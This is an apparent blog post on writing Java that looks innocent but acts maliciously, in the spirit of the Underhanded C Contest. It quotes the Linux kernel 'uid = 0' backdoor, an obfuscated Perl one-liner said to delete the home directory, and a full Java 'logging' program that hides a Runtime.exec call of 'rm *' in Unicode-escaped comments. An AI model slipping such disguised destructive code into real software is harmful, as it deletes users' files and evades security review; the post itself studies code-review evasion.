Writing malicious code in Java

The underhanded C contest is all about writing C code that looks innocent enough to get past a security review, but does something nasty on the side. It got me thinking about how to subvert things in Java.

Somewhat predictably the C contest was dominated by a small number of tricks:

  • Buffer overflow
  • Array bounds violation
  • Getting = and == the wrong way around

Java neatly sidesteps the first 2 by doing the checking for you. It’s kind of silly that we’re still fighting those 2 issues something like 30 years since they were first identified as being serious problems.

Java does a lot to shut down the =/== confusion by refusing to silently convert to a boolean. So Java programmers are a lot safer there too. Some code nearly got into the Linux kernel containing a just such a back-door:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

The net effect was to become root rather than check you are root. Oops.

Java's Strengths: High alpha to punctuation ratio

Some languages resemble line noise, and consequently can be very hard to understand. Perl would be the obvious culprit. I’m told that the following will delete your home directory:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;
 -/:-@[-`{-};`-{~" -;;s;;$_;see'

(I read it on Slashdot so it must be true. Of course I know you’re not going to test it out either so I could have just written rubbish above and no-one would know.)

Any language with a low alpha to punctuation ratio has plenty of scope for hiding malicious code in amongst innocent code. This is one of the reasons why generics has got a bad press – it lowers Java's alpha to punctuation ratio. It’s also the reason why I’m not too keen on regexs.

Java's Strengths: Security Manager

We perhaps ought to use this more than we do. I would guess that the vast majority of Java installations do not use the SecurityManager even in institutions that have high security requirements and don't particularly like trusting their programmers.

Java's Weaknesses

Java does have weaknesses, and the code below shows one of them.

I thought about using the trick of making immutable strings become mutable but decided there was a better way.

So here is my attempt at hiding malicious code using Java. It should be fairly obvious that the byte array contains "rm *" (which will delete all the files from the current directory on Unix) so that bit isn't well hidden. I guess I'd need to hide that bit away somewhere. The question is how did I subvert things so that the byte array at the bottom actually gets passed into the runtime.exec() at the top?

Since the code is Unix specific, on Windows I get the error message: "java.io.IOException: CreateProcess: rm * error=2":

DO NOT RUN THIS CODE UNLESS YOU REALLY WANT TO DELETE RANDOM FILES FROM YOUR COMPUTER. THE CODE BELOW IS MALICIOUS BUT IT IS DESIGNED TO LOOK INNOCENT.

import java.io.OutputStream;
import java.net.Socket;

public class Test {

  public static void main(String[] args) throws Exception {
    Test test = new Test();
    test.debug("hello");
  }

  public void debug(String msg) throws Exception {
    String s = "/usr/bin/logger ";
    Runtime r = Runtime.getRuntime();

    if (System.getProperty("os.name").equals("linux")) {
      /*
       * On linux we can make use of the  /usr/bin/logger command to keep
       * things simple.
       */
      r.exec(s + msg);
    }
    else {
      /*
       * Syslog code borrowed from log4j  by Ceki Gulc\u00FC
       * Network syslog calls must begin  with the following byte sequence:
       * \u002A\u002F \u0072 \u002E  \u0065\u0078\u0065c (\u0022 \u0072\u006D \u002A \u0022) \u003B \u002F\u002A<
       * followed by the message. For  more information see:
       *  http://cvs.apache.org/viewcvs.cgi/logging-log4j/src/java/org/apache/log4j/net/SyslogConstants.java?view=markup
       */
      Socket socket = new Socket("loghost", 514);
      OutputStream out = socket.getOutputStream();
      out.write(new byte[] { 0x2A, 0x2F, 0x72, 0x2E, 0x65, 0x78, 0x65, 0x22,  0x72, 0x6D, 0x22, 0x3B, 0x2F, 0x2A });
      out.write(msg.getBytes());
    }
  }
}

Comments

Comments have been turned off on old posts